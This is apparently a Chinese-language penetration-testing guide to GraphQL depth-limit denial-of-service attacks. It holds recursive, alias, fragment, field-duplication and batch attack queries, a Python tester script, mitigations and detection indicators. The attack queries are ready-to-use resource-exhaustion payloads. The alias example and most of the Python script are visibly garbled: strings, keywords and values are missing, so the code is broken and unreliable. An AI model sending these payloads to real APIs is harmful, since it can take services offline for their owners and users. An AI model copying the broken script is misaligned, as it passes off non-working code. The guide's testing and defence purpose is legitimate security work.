performing-graphql-depth-limit-attack

name	performing-graphql-depth-limit-attack
description	使用深度嵌套递归查询执行和测试 GraphQL 深度限制攻击，以识别 GraphQL API 中的拒绝服务（DoS）漏洞。
domain	cybersecurity
subdomain	api-security
tags	["graphql","depth-limit","denial-of-service","nested-queries","api-security","query-complexity","resource-exhaustion","penetration-testing"]
version	1.0
author	mahipal
license	Apache-2.0

执行 GraphQL 深度限制攻击

概述

GraphQL 深度限制攻击利用 GraphQL Schema 的递归特性，构造深度嵌套的查询来消耗过多的服务器资源，从而导致拒绝服务（DoS）。与具有固定端点的 REST API 不同，GraphQL 允许客户端请求任意数据结构。当 Schema 包含循环关系时（例如 User -> Posts -> Author -> Posts），攻击者可以创建无限递归的查询，使服务器的 CPU、内存、数据库连接和网络带宽超负荷。

前置条件

• 已启用自省（Introspection）或已知 Schema 的目标 GraphQL API 端点
• GraphQL 客户端工具（GraphiQL、Altair、Insomnia 或 curl）
• Python 3.8+ 及 requests 库，用于自动化测试
• Burp Suite 或 mitmproxy，用于流量分析
• 对目标执行安全测试的授权

核心攻击技术

1. 递归深度攻击

当 GraphQL Schema 存在双向关系时，查询可以递归引用这些关系：

# 具有循环引用的 Schema：
# type User { posts: [Post] }
# type Post { author: User }

# 使用过度嵌套深度的攻击查询
query DepthAttack {
  users {
    posts {
      author {
        posts {
          author {
            posts {
              author {
                posts {
                  author {
                    posts {
                      author {
                        posts {
                          title
                          author {
                            name
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

2. 基于别名的放大攻击

当批量查询被阻断时，别名可以在单个查询中将相同的字段请求倍增：

query AliasAmplification {
  a1: user(id: 1) { posts { author { name } } }
  a2: user(id: 1) { posts { author { name } } }
  a3: user(id: 1) { posts { author { name } } }
  a4: user(id: 1) { posts { author { name } } }
  a5: user(id:   posts  author  name   
   user   posts  author  name   
   user   posts  author  name   
   user   posts  author  name   
   user   posts  author  name   
   user   posts  author  name   

3. Fragment 展开攻击

Fragment 可以更高效地构建复杂的深度嵌套查询：

fragment UserFields on User {
  name
  email
  posts {
    title
    comments {
      body
      author {
        ...NestedUser
      }
    }
  }
}

fragment NestedUser on User {
  name
  posts {
    title
    author {
      name
      posts {
        title
        author {
          name
        }
      }
    }
  }
}

query FragmentAttack {
  users {
    ...UserFields
  }
}

4. 字段重复攻击

在选择集中重复同一字段多次会增加处理负担：

query FieldDuplication {
  user(id: 1) {
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
  }
}

5. 批量查询攻击

在单个 HTTP 请求中发送多个查询：

[
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"}
]

自动化测试脚本

#!/usr/bin/env python3
"""GraphQL 深度限制攻击测试工具

通过发送递进式深度嵌套查询，测试 GraphQL 端点的深度限制漏洞。
"""

import requests
import time
import json
import sys
from typing import Optional

class GraphQLDepthTester:
    def __init__(self, endpoint: str, headers: Optional[dict] = None):
        self.endpoint = endpoint
        self.headers = headers or {"Content-Type": "application/json"}
        self.results = []

    def generate_nested_query(self, depth: int, field_a: str = "posts",
                               field_b: str = "author",
                               leaf_field: str = "name") -> str:
        """生成指定深度的递归嵌套 GraphQL 查询。"""
        query = "{ users { "
        for i in range(depth):
            if i % 2 == 0:
                query += f"{field_a} {{ "
            else:
                query += f"{field_b} {{ "
        query += leaf_field
        query +=  * (depth + )  
        query += 
         query

     () -> :
        
        aliases = []
         i  (count):
            aliases.append()
          + .join(aliases) + 

     () -> :
        
        payload = json.dumps({: query})
        start_time = time.time()
        :
            response = requests.post(
                .endpoint,
                data=payload,
                headers=.headers,
                timeout=timeout
            )
            elapsed = time.time() - start_time
             {
                : response.status_code,
                : (elapsed, ),
                : (response.content),
                :   response.json()  response.status_code ==   ,
                : ._extract_error(response),
                : response.status_code ==      response.json()
            }
         requests.exceptions.Timeout:
            elapsed = time.time() - start_time
             {
                : ,
                : (elapsed, ),
                : ,
                : ,
                : ,
                : 
            }
         requests.exceptions.ConnectionError:
             {
                : ,
                : ,
                : ,
                : ,
                : ,
                : 
            }

     () -> :
        :
            data = response.json()
               data:
                 data[][].get(, )
         (json.JSONDecodeError, IndexError, KeyError):
            
         

     ():
        
        ()
        ()
        ( * )

         depth  (, max_depth + ):
            query = .generate_nested_query(depth)
            result = .send_query(query)
            result[] = depth
            .results.append(result)

            status =   result[]  
            (
                  )

             result[]    result[].lower():
                ()
                ()
                 depth

             result[] == :
                ()
                 depth

        ()
         

     ():
        
         alias_counts  :
            alias_counts = [, , , , , ]

        ()
        inner = 

         count  alias_counts:
            query = .generate_alias_query(count, inner)
            result = .send_query(query)
            status =   result[]  
            (
                  )

     () -> :
        
        successful = [r  r  .results  r[]]
        blocked = [r  r  .results   r[]]
        max_successful_depth = ([r[]  r  successful], default=)

         {
            : .endpoint,
            : (.results),
            : (successful),
            : (blocked),
            : max_successful_depth,
            : (blocked) > ,
            :   max_successful_depth >  
                             max_successful_depth >   
        }


 __name__ == :
    endpoint = sys.argv[]  (sys.argv) >   
    tester = GraphQLDepthTester(endpoint)
    tester.test_depth_limits(max_depth=)
    tester.test_alias_amplification()

    report = tester.generate_report()
    ()
    ()
    ()
     key, value  report.items():
        ()

缓解策略

深度限制

// 使用 graphql-depth-limit（Node.js）
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [depthLimit(5)]
});

查询复杂度分析

// 使用 graphql-query-complexity
const { createComplexityRule } = require('graphql-query-complexity');

const complexityRule = createComplexityRule({
  maximumComplexity: 1000,
  estimators: [
    fieldExtensionsEstimator(),
    simpleEstimator({ defaultComplexity: 1 })
  ],
  onComplete: (complexity) => {
    console.log('查询复杂度：', complexity);
  }
});

速率限制和超时控制

# 服务器端超时配置
GRAPHQL_CONFIG = {
    "max_depth": 5,
    "max_complexity": 1000,
    "max_aliases": 10,
    "query_timeout_seconds": 10,
    "max_batch_size": 5,
    "rate_limit_per_minute": 100
}

检测指标

• 服务器日志中异常深度或复杂的 GraphQL 查询
• 与特定查询模式相关的响应时间峰值
• GraphQL 服务器进程的内存或 CPU 使用率高
• 查询复杂度递增的重复请求
• 单个查询请求的响应负载过大

参考资料

• OWASP GraphQL Cheat Sheet
• Apollo GraphQL Security Guide
• PortSwigger GraphQL Vulnerabilities